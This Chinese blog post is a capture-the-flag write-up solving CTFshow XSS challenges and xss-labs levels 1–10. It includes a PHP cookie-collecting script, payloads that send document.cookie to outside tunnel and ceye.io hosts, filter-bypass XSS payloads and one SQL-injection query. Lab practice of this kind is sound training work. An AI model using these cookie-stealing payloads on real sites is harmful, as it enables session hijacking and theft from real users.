CTFshow_XSS与xss-labs全关卡万字通关笔记

已于 2024-08-16 17:27:44 修改
阅读量289 收藏 2
点赞数 5
分类专栏： CTFshow 文章标签： xss 学习 笔记 web安全 前端
于 2024-07-31 13:21:53 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/dasdasdasvsdV/article/details/140820039
版权

文章目录

CTFshow

Web316

在PHPstudy上创建本地网站index.php,代码如下:

<?php 
$flag=$_GET['c'];
$file=fopen('flag.txt','w+');
fwrite($file,$flag);
fclose($file);
?>
  • 注册Cpolar并创建一个本地IP与公网IP的映射
    Cpolar官方文档
  • 执行payload语句<script>window.location.href='http://(你映射的IP地址)/index.php?c='+document.cookie</script>

window.location.href：这是JavaScript中的一个属性，用来获取或设置当前页面的URL。当设置这个属性时，浏览器会跳转到指定的URL。

  • 打开flag.txt文件，可以发现已经得到了flag在这里插入图片描述

Web317 过滤script

过滤了script、大小写混用绕过也被过滤

<body onload="window.location.href='http://fe6e643.cpolar.top/index.php?c='+document.cookie">

当用户加载这个网页的时候,Onload标签立刻触发,其他的逻辑跟上题一样

<img src='#' onerror="window.location.href='http://2e48661a.r12.cpolar.top/index.php?c='+document.cookie">

img 标签支持onerror事件，在装载文档或图像的过程中如果发生了错误，就会触发onerror事件。

Web318~Web319 过滤img

过滤了img
采用上题第一种方法即可绕过

Web320~Web326 过滤空格

过滤了空格,改用 %0a 绕过。

或者用/和/**/

<body/**/onload="window.open('http://h9izlh.ceye.io/'+document.cookie)">

xss-labs

前置知识

  1. 攻击者向Web页面里面插入恶意脚本（JS代码），当用户浏览该界面时，Web页面中嵌入的恶意代码会执行，从而达成恶意攻击用户的目的，因此，XSS针对的是用户层面的攻击。
    因此，XSS攻击的两个必要条件是：
  • 攻击者提交XSS恶意代码-输入
  • Web页面的恶意JS代码能被执行-输出
  1. XSS分类

  • 反射型
    非持久型，常见的就是在URL中构造，将恶意链接发送给目标用户。当用户访问该链接时候，会向服务器发起一个GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型。

  • 存储型
    持久型，常见的就是在博客留言板、反馈投诉、论坛评论等位置，将恶意代码和正文都存入服务端（数据库、内存、文件系统等），每次访问都会触发恶意代码。

  • DOM型
    DOM型XSS其实是一种特殊类型的反射型XSS，也被称作本地跨站，它是基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与，触发XSS靠的是浏览器的DOM解析，完全是客户端的事情。
    DOM中有很多对象，其中一些对象可以被用户所操纵，如url、location等。客户端的脚本程序可以通过DOM来动态检查和修改页面内容，它不依赖于提交数据到服务器端，而是从客户端取得DOM中的数据后在本地执行，因此仅从服务器端是没有办法防御DOM型XSS漏洞的，如若DOM中的数据没有经过严格的验证，便会产生基于DOM的XSS漏洞。
    基于DOM的XSS是反射型的特例，其中JavaScript隐藏在URL中，并在其呈现时由页面中的JavaScript取出，而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽，并且监控页面正文的WAF或其他防护检测不出恶意内容。

本文所使用的所有构造XSS的语句：

<script>alert(1)</script>
#' οnclick='alert(/xss/)
"> <a href=javascript:alert()>xxx</a> <"
#' οnmοusemοve='alert(/xss/)
<img src=## οnerrοr=alert(document.cookie)>
<a onmouseover=alert(document.cookie)>点我点我</a>
等等

更多的：XSS常用触发标签

Less-1 反射型XSS alert()

观察源码以及网站payload，我们可以构造Payload来插入JS向服务器发起一个GET请求，从而造成反射性XSS在这里插入图片描述在这里插入图片描述

Less-2 XSS绕过

继续使用刚才的方法，发现XSS不成功
在这里插入图片描述
检查源代码，发现<>被转义了：< （小于） 成为 ‘&lt’; > （大于） 成为 ‘&gt’;但是下方input标签内的value没有进行转义，可以针对他进行构造
在这里插入图片描述查看源码，确实进行了转义

注：在PHP中，有 htmlentities() 和 htmlspecialchars() 两个函数可以满足安全要求：

& （和号） 成为 &amp;
" （双引号） 成为 &quot;
' （单引号） 成为 &#039;
< （小于） 成为 &lt;
> （大于） 成为 &gt;

在这里插入图片描述针对下方的JS语句进行构造，闭合<>
在这里插入图片描述

Less-3 单引号事件绕过

先注入一段JS试试，发现两处皆被转义了，但是htmlspecialchars函数只针对<>大于小于号进行html实体化，我们还可以利用其他方法进行xss注入，这里我们可以利用onclick事件绕过在这里插入图片描述
针对input标签，首先闭合前面的单引号，再闭合后面的单引号，实现绕过
在这里插入图片描述再次点击，XSS注入成功
在这里插入图片描述

相同的方法还有

#' onmousemove='alert(/xss/)
' onfocus=javascript:alert() '

等等，思路都是绕过HTML"<>"的实体化

Less-4 双引号事件绕过

同样先输入一段XSS代码试试水，发现源码中<>被删除了，不同之处在于 value属性 使用的是双引号在这里插入图片描述
输入payload在这里插入图片描述绕过成功！
在这里插入图片描述

Less-5 标签插入绕过

这里script被替换成了scr_ipt
在这里插入图片描述这里on被替换成了o_n

在这里插入图片描述
那么我们可以构造一个a标签（链接）："> <a href=javascript:alert()>xxx</a> <"
在这里插入图片描述
点击“点我点我”即可绕过

Less-6 大小写绕过

查看源码，发现之前使用的方法里的关键字都被过滤掉了
在这里插入图片描述可以使用大小写绕过

在这里插入图片描述轻轻一点，绕过成功！
在这里插入图片描述

Less-7 双写绕过

输入<script>alert(1)</script>
结果变成了如下形式，猜测Web做了关键字删除操作，我们使用双写绕过
比如on，我们可以写成oonn，当中间on被删掉的时候，就变成了on
比如script，可以写成scscriptipt，当script被删掉的时候，就变成了script
在这里插入图片描述
构造"><img ssrcrc="955" oonnerror=alert(1)><"绕过src和on的关键字过滤
在这里插入图片描述

Less-8 编码绕过

使用JavaScript:alert(1)不成功，经过几次尝试，大小写绕过以及双写绕过都失败了
在这里插入图片描述

查看源码可以发现，input标签添加了html实体转化函数还把双引号也给实体化了， 添加了小写转化函数还过滤掉了src、data、onfocus、href、script、"（双引号）哭~
在这里插入图片描述这里用一个新方法—编码
三种绕过思想：

  1. URL编码
    在浏览器中输入一个链接，浏览器会对非保留字符进行URL编码，如空格变为%20、单引号%27、左括号%28、右括号%29，普通的URL编码可能无法实现绕过，需要结合实际场景来判断。

  2. 十六进制编码
    如SQL注入中

mysql> select * from users where user_id=1 and (extractvalue(1,concat(0x7e,
(select password from users where first_name=0x61646d696e),0x7e)));
  1. Unicode编码
    形式：“u”或者是“%u”加上4位16进制Unicode码值。
    利用href的属性

javascript:alert() 通常出现在 HTML 超链接的 href 属性中，用来执行一段 JavaScript 代码。

我们可以利用在线工具进行和Unicode编码
在这里插入图片描述
构造payload：&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)成功绕过！
在这里插入图片描述

Less-9 指定内容检测绕过

输入上一关的代码，嗯？怎么肥事
在这里插入图片描述

检查源码
在这里插入图片描述在前面加上http://试一下
在这里插入图片描述

OK，知道咋回事了在这里插入图片描述
将其放到后面注释掉，即可通关
在这里插入图片描述

Less-10 隐藏的参数

检查源码发现三个隐藏项
在这里插入图片描述测一下试试

在这里插入图片描述t_sort成功接受到值
在这里插入图片描述接下来就直接插入JS了，简单明了
在这里插入图片描述

拿不到Root啊
关注
  • 5
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
XSS-labs通关（超详细）
wulanlin的博客
12-30 7024
1.第一关 payload： http://xss/level1.php?name=<Script>alert(1)</Script> 2.第二关 这里变量出现在两处，我们直接利用第二处，做构造以及闭合 payload： 1"><ScRipt>alert(1)</ScRipt> 3.第三关 ​ 用第二关的payload去试一下，发现内容没变化，但是就是没当成js代码 ​ 查一下网页源代码和php代码 ​ 看到使
XSS-labs通关教程（1-5）：
snowlyzz的博客
03-12 5540
比较新手向的XSS反射型靶场，比较基础。
CTFShow Xss
paidx0
08-12 1406
CTFShow Xss（学习） 简单介绍一下Xss 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 xss漏洞关键就是寻找参数未过滤的输出函数。 常见的输出函数有： echo printf print print_r sprintf die var-dump var_export xss 分类：（三类） 反射型XSS：<非持久化> 攻击者事先制作好攻击链接, 需要欺
CTFshow web入门 web316-web333 XSS
qq_56815564的博客
07-05 2061
我tm又来了，总之top10先过一遍，到第三个XSS了，下一个要去看了，看了网上很多wp总感觉不是太全，所以就自己写了一个网站没有对用户提交的数据进行转义处理或者过滤不足，从而被恶意攻击者利用进而被添加一些恶意可执行脚本嵌入到web页面中去，使别的用户访问都会执行相应的嵌入代码。
xss复习总结及ctfshow做题总结xss
最新发布
m0_74402888的博客
07-15 781
客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM XSS漏洞。存储型XSS：<持久化> 代码是存储在服务器数据库中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，每当有用户访问该页面的时候都会触发代码执行，这种XSS非常危险，容易造成蠕虫，大量盗窃cookie（虽然还有种DOM型XSS，但是也还是包括在存储型XSS内）。
ctfshow XSS
quan9i的博客
06-28 1470
ctfshow XSS 316-333
ctfshow XSS专题
yink12138的博客
12-17 1498
ctfshow XSS专题
CTFSHOW-XSS
Yb_140的博客
05-13 244
我们先注册一个账号，如果为admin提示不可注册，我们注册一个admin1。payload还是上面的，写在信的内容处，同时注意收件人是admin。先在自己的服务器上开启一个web服务，用来接收flag。前面都是反射型，这题开始是存储型。目的：拿到管理员的cookie。上面的payload不能用了。payload同上.
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
`xss-labs-master.zip`包含了一个专门用于学习和实践XSS注入的通关游戏或靶场，对于网络安全测试人员来说，这是一个极好的学习资源。 **XSS分类** 1. **存储型XSS**：也称为持久型XSS，攻击者将恶意脚本存入服务器...
xss-labs-master.rar
05-09
"XSS-labs-master"提供了丰富的实战场景，每个关卡设计了不同的XSS攻击方式，玩家需找出并利用漏洞，实现目标。通过解谜式的学习，可以锻炼寻找、构造和利用XSS的能力。在实践中，你可以学习到如何发现潜在的注入点...
xss-labs-master源码
07-06
"xss-labs-master"是一个专门设计的靶场，包含了20个级别的XSS练习，旨在帮助学习者深入理解和掌握XSS攻击的原理、类型以及防御策略。通过逐步解决这些精心设计的挑战，我们可以逐步提升对XSS攻击的理解，并提升安全...
XSS利用与挖掘-_更新版.rar_Exploit_XSS_XSS 利用_pkav_web exploit
09-23
本文将详细讲解XSS的利用方法以及挖掘技巧，基于"XSS利用与挖掘-_更新版.pptx"这份资料，我们将深入探讨这一主题。** 首先，我们需要理解XSS的三种主要类型：反射型XSS、存储型XSS和DOM型XSS。 1. **反射型XSS**：...
CTFShow Web 入门 XSS
tj13995958709的博客
04-14 2011
这一题用上一题的做法就不行，这一题admin的cookie是一直在变的，而且很快，看到此题还有修改密码的功能，注册个普通账号，在修改密码时抓包。当将这行脚本代码提交后，稍等片刻，会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接，然后就可以拿到admin的cookie。这道题它代码逻辑有问题，转账的不扣转账方的金额，所以可以一直向自己转账，转的金额不超过自己余额即可。直接让admin转自己10000，和上题让admin自己改密码思路是一样的。然后登录admin账号，密码输入123456。
Ctfshow web入门 XSS篇 web316-web333 详细题解 全
Jay17的博客
09-28 4628
Ctfshow web入门 XSS篇 web316-web333 详细题解 全
ctfshow——XSS
qq_55202378的博客
04-24 1222
跨站脚本攻击（Cross Site Scripting），为不和层叠样式表（Cascading Style Sheets，CSS）的缩写混淆，故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码，当用户浏览该页之时，嵌入其中 Web 里面的 HTML 代码会被执行，从而达到恶意攻击用户的特殊目的。
CTFshow XSS(web316-333)
Kradress的博客
03-18 746
这里我们发现管理员才能查看用户名和密码，如果我们在注册的时候写入xss的payload，就会在用户管理界面执行我们的xss代码。这题没有过滤什么，但是如果用img的话，拿不到flag，但是referer是bot，我猜测bot触发不了img的。试试用admin的cookie修改密码,但是没有用，可能cookie失效了。这题拿cookie也看不到flag了，不过多了一个修改密码选项。随便注册一个用户test，余额只有6块，买flag要9999元。发现输出为空，说明被题目限制了，但是。可以用frame注入。
CTFSHOW XSS漏洞
qq_61553520的博客
04-20 328
这篇文章记录了我刷题的过程，是ctf.show上的XSS漏洞，第316-第333。
ctfshow-xss(web316-web330)
m0_72125469的博客
07-03 1265
web317讲解相当细致精致练习XSSweb316这道题估计陆陆续续弄了半天 因为xss可以说基本不会 还好最终彻彻底底明白了首先这道题是反射性xss 也就是必须点击某一个xss链接 才能达到xss效果这道题的意思就是 写一个祝福语生成链接发送给朋友 这个祝福语的位置就是我们实现XSS的位置已知：flag在BOT(程序，机器人)的cookie中并且 生成的链接后端BOT会每隔一段时间访问所以 要构造一个含有XSS的链接 使得管理员只要访问就能获取BOT的cookie。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值